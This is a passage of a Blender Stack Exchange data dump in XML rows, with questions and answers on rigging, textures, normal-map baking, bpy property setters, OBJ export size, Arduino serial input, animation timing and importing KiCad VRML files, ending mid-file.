  <row Id="15964" PostTypeId="1" AcceptedAnswerId="15966" CreationDate="2014-09-17T21:15:31.597" Score="24" ViewCount="117643" Body="&lt;p&gt;Here is the &lt;a href=&quot;https://www.dropbox.com/s/h73lxneikemona9/Vito.blend?dl=0&quot; rel=&quot;noreferrer&quot;&gt;link to my Blend file&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Picture:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/pHa6O.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's nothing special but I cant figure out why I get problems rigging this mesh. It would be important and a great Help! Thanks for reading and I know there are a lot of guides answering this question but I tried all and it doesn't seem to work.&lt;/p&gt;&#xA;" OwnerUserId="6091" LastEditorUserId="26345" LastEditDate="2019-07-21T09:03:48.867" LastActivityDate="2021-05-27T02:53:36.903" Title="heat weighting: failed to find solution for one or more bones" Tags="&lt;mesh&gt;&lt;rigging&gt;&lt;armature&gt;&lt;weight-painting&gt;" AnswerCount="4" CommentCount="3" FavoriteCount="14" ContentLicense="CC BY-SA 3.0" />
  <row Id="15966" PostTypeId="2" ParentId="15964" CreationDate="2014-09-17T22:14:00.737" Score="42" Body="&lt;p&gt;I know 2 situations where this problem raises:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;When the Object consists of 2 or more separated (not connected) meshes which intersect. This could be solved by fixing the mesh topology, like connecting the intersecting meshes into one single mesh and by fixing your model to avoid the intersecting areas.&lt;/li&gt;&#xA;&lt;li&gt;When the object has duplicate vertices. This can be solved by removing doubles in Edit Mode ( keyboard shortcut &quot;W&quot; -&gt; Remove Doubles)&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I do not know the exact reason why the algorithm fails in these cases and if there are other cases as well where it fails. However it must be related to ambiguities while calculating the weight ratios for the involved vertices.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I took a quick look into the blend file that was provided by the OP. I found the head of the character has many duplicate vertices (about 320). Removing doubles solved the issue in this particular case.&lt;/p&gt;&#xA;" OwnerUserId="248" LastEditorUserId="248" LastEditDate="2014-09-18T10:18:28.287" LastActivityDate="2014-09-18T10:18:28.287" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="15968" PostTypeId="1" AcceptedAnswerId="15999" CreationDate="2014-09-17T22:15:08.510" Score="3" ViewCount="2006" Body="&lt;p&gt;I'm trying to add an equirectangular image as a world texture in the game engine. The texture displays just fine on other objects, but I can't get anything to show up in the sky. Am I just missing a setting somewhere? I've tried everything suggested in the the other threads for game engine texture display (I think!).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the file:&lt;br&gt;&#xA;&lt;a href=&quot;https://www.dropbox.com/s/g5plirpm22vqf7l/BGE-textureProblem.zip?dl=0&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.dropbox.com/s/g5plirpm22vqf7l/BGE-textureProblem.zip?dl=0&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And here's what the camera shows when I run the game.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/xQwIH.png&quot; alt=&quot;Screenshot of problem&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="6094" LastEditorUserId="2217" LastEditDate="2014-09-17T23:19:36.937" LastActivityDate="2014-09-18T19:44:55.937" Title="Blender Game Engine not displaying World texture" Tags="&lt;texturing&gt;&lt;game-engine&gt;" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="15969" PostTypeId="2" ParentId="15952" CreationDate="2014-09-17T23:16:09.267" Score="6" Body="&lt;p&gt;You could try a setup like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/7LeDA.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/MIc7D.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/MIc7D.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's probably not physically accurate at all, but with a bit of work you can make a pretty decent looking effect.&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2014-09-17T23:16:09.267" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15971" PostTypeId="2" ParentId="15122" CreationDate="2014-09-18T00:10:01.847" Score="2" Body="&lt;p&gt;Here is my idea: Overwrite the attribute setting function of the class. The following code has been created mostly be the OP, based on that idea. I added some minor formatting for better readability:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;import re&#xA;from bpy.props import *&#xA;&#xA;unique_names = ['name']&#xA;&#xA;class RenderGroups(bpy.types.PropertyGroup):&#xA;    image = StringProperty(&#xA;            name=&quot;Image&quot;, &#xA;            description=&quot;The image-texture of this group&quot;)&#xA;&#xA;    def __setattr__(self, name, value): &#xA;&#xA;        def collection_from_element(self):&#xA;            # this gets the collection that the element is in&#xA;            path = self.path_from_id()&#xA;            match = re.match('(.*)\[\d*\]', path)&#xA;            parent = self.id_data&#xA;            try:&#xA;                coll_path = match.group(1)&#xA;            except AttributeError:&#xA;                raise TypeError(&quot;Propery not element in a collection.&quot;) &#xA;            else:&#xA;                return parent.path_resolve(coll_path)&#xA;&#xA;        def new_val(stem, nbr):&#xA;            # simply for formatting&#xA;            return '{st}.{nbr:03d}'.format(st=stem, nbr=nbr)&#xA;&#xA;        # =====================================================&#xA;&#xA;        if name not in unique_names:&#xA;            # don't want to handle&#xA;            self[name] = value&#xA;            return&#xA;        if value == getattr(self, name):&#xA;            # check for assignement of current value&#xA;            return&#xA;&#xA;        coll = collection_from_element(self)&#xA;        if value not in coll:&#xA;            # if value is not in the collection, just assign&#xA;            self[name] = value&#xA;            return&#xA;&#xA;        # see if value is already in a format like 'name.012'&#xA;        match = re.match('(.*)\.(\d{3,})', value)&#xA;        if match is None:&#xA;            stem, nbr = value, 1&#xA;        else:&#xA;            stem, nbr = match.groups()&#xA;&#xA;        # check for each value if in collection&#xA;        new_value = new_val(stem, nbr)&#xA;        while new_value in coll:&#xA;            nbr += 1&#xA;            new_value = new_val(stem, nbr)&#xA;        self[name] = new_value&#xA;&#xA;class MHFCMeshProps(bpy.types.PropertyGroup):&#xA;    render_groups = CollectionProperty(&#xA;            type=RenderGroups,&#xA;            name=&quot;Render Groups&quot;)&#xA;&#xA;if __name__ == &quot;__main__&quot;:&#xA;    bpy.utils.register_class(RenderGroups)&#xA;    bpy.utils.register_class(MHFCMeshProps)&#xA;    bpy.types.Object.testprop = PointerProperty(type=MHFCMeshProps)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now you can do this in the blender python console:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;obj=bpy.context.object&#xA;g=obj.testprop .render_groups.add()&#xA;g.name, g.whatever=&quot;testme&quot;, &quot;keepme&quot;&#xA;g.name, g['whatever']&#xA;('testme', 'keepme')&#xA;&#xA;g=obj.testprop .render_groups.add()&#xA;g.name, g.whatever=&quot;testme&quot;, &quot;keepme&quot;&#xA;g.name, g['whatever']&#xA;('testme.001', 'keepme')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I think the code example above is now pretty much complete. &lt;s&gt;Although there is still one caveat here.&lt;/s&gt; This keeps track of reassigning the current value and always assigns the lowest nbr possible.&lt;/p&gt;&#xA;" OwnerUserId="248" LastEditorUserId="248" LastEditDate="2014-09-18T13:39:44.280" LastActivityDate="2014-09-18T13:39:44.280" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="15972" PostTypeId="1" CreationDate="2014-09-18T02:48:47.637" Score="0" ViewCount="690" Body="&lt;p&gt;So, I did everything from the tutorials right, I also removed doubles and took away all previous textures and materials and did all of the things right. But, how come the Normal map is still grey. If I turn off Select to Active, it becomes blue... I read litterally all of the problems, but never found this one. I also re-sized the meshes and played around with bias but nothing happened.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Link to .blend file&lt;a href=&quot;https://drive.google.com/file/d/0B7bU7_85XLwLY1ViTk1IN24zVnc/edit?usp=sharing&quot; rel=&quot;nofollow noreferrer&quot;&gt; The Problem File of DOOOOOOMMMMM!!!!!&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Zb9Ok.png&quot; alt=&quot;The Picture of Doom&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="6099" LastEditorUserId="6099" LastEditDate="2014-09-18T03:11:22.673" LastActivityDate="2015-01-19T07:35:17.110" Title="Normal Map Only Baking To Grey or Blue" Tags="&lt;uv&gt;&lt;normals&gt;" AnswerCount="0" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="15975" PostTypeId="2" ParentId="3266" CreationDate="2014-09-18T04:48:36.760" Score="0" Body="&lt;p&gt;Although you didn't specify how you came to have those loose vertices, it is common to get that situation when using 'dissolve edges' to remove edges from your geometry without leaving holes. When you use 'dissolve edges', the vertices that were part of the edges will not be deleted with the edges, however, they will remain selected. You can then just press delete and select 'dissolve vertices' to get rid of them too.&lt;/p&gt;&#xA;" OwnerUserId="328" LastActivityDate="2014-09-18T04:48:36.760" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15976" PostTypeId="2" ParentId="2931" CreationDate="2014-09-18T07:40:24.193" Score="2" Body="&lt;p&gt;I'm relativly new to modeling characters, but what I've found is:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Triangles don't deform well when rigging.&lt;/li&gt;&#xA;&lt;li&gt;It's easier to read edge loops when looking at quads in a low poly model.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I am not sure about ngons and issues using them in character animation.&lt;/p&gt;&#xA;" OwnerUserId="3173" LastActivityDate="2014-09-18T07:40:24.193" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15977" PostTypeId="1" CreationDate="2014-09-18T09:28:29.263" Score="2" ViewCount="824" Body="&lt;p&gt;Part of my project involves integrating functionality similar to a graphing calculator into the image editor of Blender.  Once complete this will just be a nifty little time saver that helps avoid leaving Blender to bring up other tools.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm using &lt;code&gt;bpy.props.FloatProperty&lt;/code&gt; for a few metrics, such as domain minimum and maximum, so that they can quickly be set in Blender for an algebraic function to be drawn. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't want to work with these directly from the &lt;code&gt;bpy.props&lt;/code&gt; objects because to do so would sacrifice usability.  For example, we're used to a straightforward scale metric in Blender where if we want an object scaled to 50% on the x-axis, we simply set the x-axis scale to 0.5.  But in an algebraic function where the vertical depends upon the horizontal, this fifty percent scaling is actually accomplished by multiplying the independent variable by two.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, it helps the user to have something sit between the interface and all the math going on under the hood.  That is exactly the kind of thing the update, set, and get fields are meant for in &lt;code&gt;bpy.props&lt;/code&gt; objects.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is that I can't find an example about how to format that string.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;set = &quot;self.set_thing ( )&quot; ?&#xA;set = &quot;self.set_thing&quot; ?&#xA;self = &quot;set_thing&quot; ?&#xA;set = &quot;self.set_thing ( self, thing )&quot; ?&#xA;set = &quot;set_thing ( self, thing )&quot; ?  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;There are probably possibilities there that I'm not thinking of yet.  But how exactly do we format that and what are the restrictions?  Do the set methods have to be in the object class that the &lt;code&gt;bpy.props&lt;/code&gt; object is a data member of? Can it be any object, i.e. &lt;code&gt;set = &quot;thing_container.set_thing(thing)&quot;&lt;/code&gt;?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally, with a getter and a setter field, what functionality does the update field have?  Does this just allow for another method call in addition to the setter, whenever the setter is called?&lt;/p&gt;&#xA;" OwnerUserId="5840" LastEditorUserId="1363" LastEditDate="2014-09-20T19:02:35.917" LastActivityDate="2014-09-25T08:20:18.033" Title="bpy.props types, update, set, and get fields format" Tags="&lt;python&gt;&lt;properties&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="15978" PostTypeId="2" ParentId="15977" CreationDate="2014-09-18T10:02:32.530" Score="3" Body="&lt;p&gt;Got it!  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://stackoverflow.com/questions/251464/how-to-get-the-function-name-as-string-in-python&quot;&gt;This page&lt;/a&gt; addresses how to get a function name, in a way that's friendly to class methods and not just script-scope functions.  Blender API requires a 'self' parameter in the specified function for update, set, and get, so it actually requires a class method anyway.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, let Python do the formatting for you. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;update: I had a partial answer here before.  I want to force use of the local dictionary, so that I know for sure that an instantiated object's method is used and that no global method is looked for.  The answers for &lt;a href=&quot;https://stackoverflow.com/questions/3061/calling-a-function-from-a-string-with-the-functions-name-in-python&quot;&gt;this question&lt;/a&gt; provide the second part. Also, the incomplete answer I had before does not work because it uses a string where a function is expected. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's an example using the lower domain constraint in my script:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;global set_domain_min&#xA;&#xA;self[&quot;domain_left&quot;] = bpy.props.FloatProperty( &#xA;    name=&quot;x &amp;gt;=&quot;, &#xA;    description=&quot;Domain left bound&quot;, &#xA;    default=-10, &#xA;    min=-sys.maxint - 1, &#xA;    max=sys.maxint,&#xA;    step=1,&#xA;    precision=6,&#xA;    subtype=&quot;DISTANCE&quot;,&#xA;    unit=&quot;LENGTH&quot;,&#xA;    set=locals()[self.set_domain_min.__name__]     &#xA;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I don't know if this is a duplicate topic, since it's specific to Blender's API requirements but is answered with a general Python question.  My last question was marked as a duplicate, and is, but I haven't deleted it because I think the original has poor wording for the topic.  Next time I happen by this site, if a mod has marked this as a duplicate then I'll just delete it.  The answering topic isn't obvious for somebody learning Python using the Blender API, but I'll leave this to others' judgment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Update: Alternatively, the following can be used...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class foo:  &#xA;    def __init__(self):&#xA;        self[&quot;bar_prop&quot;] = bpy.props.FloatProperty(set=self.set_bar)&#xA;        self[&quot;bar&quot;] = 1 / self[&quot;bar_prop&quot;]&#xA;&#xA;    def set_bar(self, bar_in):&#xA;        self.bar = 1 / bar_in&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This makes it unnecessary to use locals ( ), but the 'self' identifier is needed.  Using locals ( ) is only necessary if there's an identifier with the same name declared global in-scope.  The first code snippet I posted above has been updated to demonstrate.  This can be useful for overloading an identifier such that the local is only used in specific cases.  &lt;/p&gt;&#xA;" OwnerUserId="5840" LastEditorUserId="5840" LastEditDate="2014-09-25T08:20:18.033" LastActivityDate="2014-09-25T08:20:18.033" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="15979" PostTypeId="1" CreationDate="2014-09-18T11:25:17.187" Score="0" ViewCount="650" Body="&lt;p&gt;I have rigged a shoe, which i have animated. When the tip of the shoe hits the ground, i would like it to bend, just as a shoe. How do i go about this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I assume that i would have yo use some physics.&lt;/p&gt;&#xA;" OwnerUserId="2764" LastActivityDate="2017-03-22T14:56:17.250" Title="How to make a rigged object bend when pressed against a surface?" Tags="&lt;animation&gt;&lt;physics&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15980" PostTypeId="1" CreationDate="2014-09-18T12:53:10.067" Score="4" ViewCount="20141" Body="&lt;p&gt;I am new to Blender, &#xA;I have created a 3D object model for my project. My &lt;em&gt;.obj&lt;/em&gt; file (exported from) Blender is too large, around 41 MB. How can I reduce its size? I have to use it in &lt;code&gt;three.js&lt;/code&gt;&lt;br&gt;&#xA;Since its size is too large, it is taking too much time to load.&lt;/p&gt;&#xA;" OwnerUserId="6101" LastEditorUserId="2217" LastEditDate="2014-09-18T13:02:03.200" LastActivityDate="2020-04-08T16:25:23.597" Title="Reduce exported .obj file size" Tags="&lt;objects&gt;&lt;export&gt;" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="15981" PostTypeId="2" ParentId="15980" CreationDate="2014-09-18T12:58:48.720" Score="3" Body="&lt;p&gt;You will have to reduce the number of polygons (vertices, edges and faces). My guess is that you have a pretty high poly model to generate a 41mb file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One way to reduce a mesh's polygons is to use a &lt;em&gt;&lt;a href=&quot;https://www.blender.org/manual/modeling/modifiers/generate/decimate.html&quot; rel=&quot;nofollow&quot;&gt;Decimate&lt;/a&gt;&lt;/em&gt; modifier. Do note that you will have to apply the modifier before is takes effect on the export.&lt;/p&gt;&#xA;" OwnerUserId="2217" LastEditorUserId="2217" LastEditDate="2016-05-18T00:46:15.137" LastActivityDate="2016-05-18T00:46:15.137" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15982" PostTypeId="1" AcceptedAnswerId="15986" CreationDate="2014-09-18T13:08:08.577" Score="3" ViewCount="324" Body="&lt;p&gt;I'm new to blender and python. I want to read analog data from arduino to blender. I'm using the bellow code and it works fine. Even though arduino sends data quickly blender reads them very slow(about 800 ms). Does anyone knows whats the mistake I have done here?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ser = serial.Serial('COM3', 9600 , timeout=1)&#xA; sensor00 = ser.read(size=1)&#xA; sensor0 = ord(sensor00)&#xA; print (&quot;sensor0=&quot;,`sensor0)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This code is repeated 9 times for 9 other sensors (flex sensors).&lt;/p&gt;&#xA;" OwnerUserId="6016" LastEditorUserId="2217" LastEditDate="2014-09-18T13:19:54.307" LastActivityDate="2019-09-28T20:22:26.093" Title="Blender reads serial data slowly?" Tags="&lt;python&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15983" PostTypeId="1" AcceptedAnswerId="15987" CreationDate="2014-09-18T13:31:24.607" Score="6" ViewCount="4700" Body="&lt;p&gt;I have an object which follows a 3D NurbsPath.&#xA;My object is visible at frame 1 and also my animation starts at frame 1.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I &quot;move&quot; the animation, such that my object start getting animated at e.g. frame 30?&lt;/p&gt;&#xA;" OwnerUserId="6102" LastEditorUserId="248" LastEditDate="2014-09-19T10:25:44.417" LastActivityDate="2015-06-23T00:00:52.607" Title="Move Animation within the Timeline" Tags="&lt;animation&gt;&lt;keyframes&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15984" PostTypeId="2" ParentId="15979" CreationDate="2014-09-18T13:49:12.670" Score="1" Body="&lt;p&gt;The best way would be to use Blender's Lattice tool.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://docs.blender.org/manual/en/dev/modeling/modifiers/deform/lattice.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.blender.org/manual/en/dev/modeling/modifiers/deform/lattice.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;it allows you to use a lower resolution 'mesh cage' to deform your model. there are two tutorials on the blender wiki, and this youtube link below is a good tutorial.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/watch?v=10asQDMhFQw&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.youtube.com/watch?v=10asQDMhFQw&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="5838" LastEditorUserId="24421" LastEditDate="2017-03-22T14:56:17.250" LastActivityDate="2017-03-22T14:56:17.250" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="15986" PostTypeId="2" ParentId="15982" CreationDate="2014-09-18T13:50:10.473" Score="2" Body="&lt;p&gt;Serial communication uses start and stop (1,1.5 or 2 bit length) and optionally a parity bit.&#xA;Assuming it would be 10 bits 9600 bits/s would transfer 960 bytes in a second.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You're reading the data byte by byte.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have messages with variable length it would be better to transfer a header containing the size of your message and read this first.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;e.g.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;Header&amp;gt;     &amp;lt;message&amp;gt;&#xA;0x0000 0100  256 bytes of data&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;then you could read first the header (size=4) followed by reading the message at once. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;To make the protocol more robust you could introduce a checksum (in the header) and an end-of-message marker which is not contained in the data (or escaped there), this would allow you to recover from transmission errors and re-synchronize.&lt;/p&gt;&#xA;" OwnerUserId="29" LastEditorUserId="12820" LastEditDate="2019-09-28T20:22:26.093" LastActivityDate="2019-09-28T20:22:26.093" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="15987" PostTypeId="2" ParentId="15983" CreationDate="2014-09-18T13:51:54.740" Score="10" Body="&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Moving a Keyframe animation in time:&lt;/strong&gt;&#xA;You can move the entire animation sequence from within the Dope Sheet Editor. There you select all keyframes (type &quot;a&quot; on the keyboard once or twice), then for example: &lt;kbd&gt;G&lt;/kbd&gt; &lt;kbd&gt;X&lt;/kbd&gt; &lt;kbd&gt;30&lt;/kbd&gt;  to shift the animation by 30 frames:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/kSlP7.png&quot; alt=&quot;You find the keyframes in the The dopesheet Editor&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Moving a Constrained Path Animation in time:&lt;/strong&gt;&#xA;This animation type starts at timeframe 0 by default. Within the Constraints panel you can define an Offset to shift the start of the animation:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Open The Object Constraints of the animated Object&lt;/li&gt;&#xA;&lt;li&gt;Set the Offset to the start timeframe where the Path Animation shall begin (30 in this case) &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/c1qfS.png&quot; alt=&quot;Set the Animation Offset for a Path Animation&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;strong&gt;Moving the Animation time of an Object parented to a Path&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This animation type starts at timeframe 0 by default and runs for 100 Frames, then it stops. You can define the animation window by setting 2 keyframes in the Path Animation Panel of the Path:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Select the Path&lt;/li&gt;&#xA;&lt;li&gt;In the Data Properties locate the Path Animation panel&lt;/li&gt;&#xA;&lt;li&gt;In the Timeline select the startframe for the animation (30 in this case)&lt;/li&gt;&#xA;&lt;li&gt;In the Path Animation panel set the Evaluation time to 0.00&lt;/li&gt;&#xA;&lt;li&gt;Then keyframe the Evaluation time.&lt;/li&gt;&#xA;&lt;li&gt;In the timeline select the Endframe for the Animation&lt;/li&gt;&#xA;&lt;li&gt;In the Path Panel set the Evaluation time to 100 (or to whatever value you have set the Frames Attribute right above the Evaluation tmie attribute)&lt;/li&gt;&#xA;&lt;li&gt;Keyframe the Evaluation time again.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/juRV5.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="248" LastEditorUserId="248" LastEditDate="2014-09-19T15:11:49.447" LastActivityDate="2014-09-19T15:11:49.447" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="15988" PostTypeId="1" AcceptedAnswerId="15993" CreationDate="2014-09-18T14:19:51.527" Score="1" ViewCount="710" Body="&lt;p&gt;I'm trying to get a &lt;code&gt;.wrl&lt;/code&gt; 3D circuit, exported from &lt;a href=&quot;http://sourceforge.net/projects/kicad-3d/&quot; rel=&quot;nofollow noreferrer&quot;&gt;kicad 3D rendering | SourceForge.net&lt;/a&gt;, into Blender, and I'm getting an element I cannot remove. Here is my procedure:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First, I'm using this &lt;code&gt;.wrl&lt;/code&gt; (short version of &lt;code&gt;/usr/share/kicad/modules/packages3d/smd/generic_bga.wrl&lt;/code&gt;) as my part model, which I call &lt;code&gt;bga.wrl&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#VRML V2.0 utf8&#xA;#Exported from Wings 3D 0.98.34&#xA;DEF cube1_sep3 Transform {&#xA;  children [&#xA;    Shape {&#xA;      appearance Appearance {&#xA;        material DEF metal Material {&#xA;          diffuseColor 1.00000 1.00000 0.786667&#xA;          emissiveColor 0.00000e+0 0.00000e+0 0.00000e+0&#xA;          specularColor 1.00000 1.00000 1.00000&#xA;          ambientIntensity 0.922222&#xA;          transparency 0.00000e+0&#xA;          shininess 1.00000&#xA;        }&#xA;      }&#xA;      geometry IndexedFaceSet {&#xA;        coord Coordinate { point [&#xA;          4.15121 -4.12469 6.77561e-3,&#xA;          4.15122 4.12652 6.77561e-3,&#xA;          -4.17102 -4.12467 6.76384e-3,&#xA;          -4.17101 4.12654 6.76384e-3,&#xA;          4.15121 -4.12469 0.225658,&#xA;          -4.24526 -4.12467 0.225643,&#xA;          4.15122 4.12652 0.225658,&#xA;          -4.24525 4.12654 0.225643,&#xA;          3.74080 -3.71428 0.326457,&#xA;          -3.83485 -3.71427 0.326446,&#xA;          3.74081 3.71612 0.326457,&#xA;          -3.83485 3.71613 0.326446 ] }&#xA;        coordIndex [&#xA;          0, 1, 6, 4, -1,&#xA;          0, 2, 3, 1, -1,&#xA;          0, 4, 5, 2, -1,&#xA;          1, 3, 7, 6, -1,&#xA;          2, 5, 7, 3, -1,&#xA;          4, 6, 10, 8, -1,&#xA;          4, 8, 9, 5, -1,&#xA;          5, 9, 11, 7, -1,&#xA;          6, 7, 11, 10, -1 ]&#xA;      }&#xA;    },&#xA;  ]&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then, in the &quot;3D rendering&quot; &lt;code&gt;pcbnew&lt;/code&gt; (board editing program of Kicad; I run it under &lt;code&gt;wine&lt;/code&gt; on Ubuntu 11.04), I make a new part in the module editor, reusing the footprint (2D) of the resistor module &lt;code&gt;R4&lt;/code&gt;, and assigning it's 3D model to be the above &lt;code&gt;bga.wrl&lt;/code&gt;. Then I place two of these custom parts on an empty board at the left edge, one at top, one at bottom. I check if the 3D rendering works; and then I export a .wrl of the whole board (I've tried to include that file, which I called &lt;code&gt;_2r_bga_export.wrl&lt;/code&gt;, 460kB in size, below). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, I try to import that file in Blender (deleting everything in the default file first); everything works fine, except:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/SHYbl.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/SHYbl.png&quot; alt=&quot;blender-_2r_bga_export.wrl&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;... there is this &quot;dot&quot;, which apparently refers to the top left corner of the PCB, appearing! (on the image, the 3D cursor can be placed on it by right-clicking)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It irritates the hell out of me, so I'd like to delete it; using TAB, I can go into edit mode, and with B I can box-select that vertex; however, after I delete it, it is &lt;em&gt;again&lt;/em&gt; there! What's more, in that file, &lt;em&gt;only&lt;/em&gt; &lt;code&gt;ShapeIndexedFaceSet.008&lt;/code&gt; to &lt;code&gt;ShapeIndexedFaceSet.011&lt;/code&gt; show that dot/vertex - but even if I delete those vertices from each affected shape individually, I &lt;em&gt;still&lt;/em&gt; get the darn orange dot - except after that point, I cannot box-select any vertices at that location anymore?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So how do I delete that &quot;PCB coordinate center&quot; dot vertex?&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;EDIT: here is a minimal standalone &lt;code&gt;test.wrl&lt;/code&gt; file, which demonstrates the same issue upon import in Blender (orange dot at coord. center, but this time unselectable):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#VRML V2.0 utf8&#xA;WorldInfo {&#xA;  title &quot;Jaj&quot;&#xA;}&#xA;Transform {&#xA;  # translation -1.175 5.725 0.0&#xA;  children [&#xA;Transform {&#xA;  children [&#xA;    Group {&#xA;      children [&#xA;        Shape {&#xA;          appearance Appearance {&#xA;            material Material 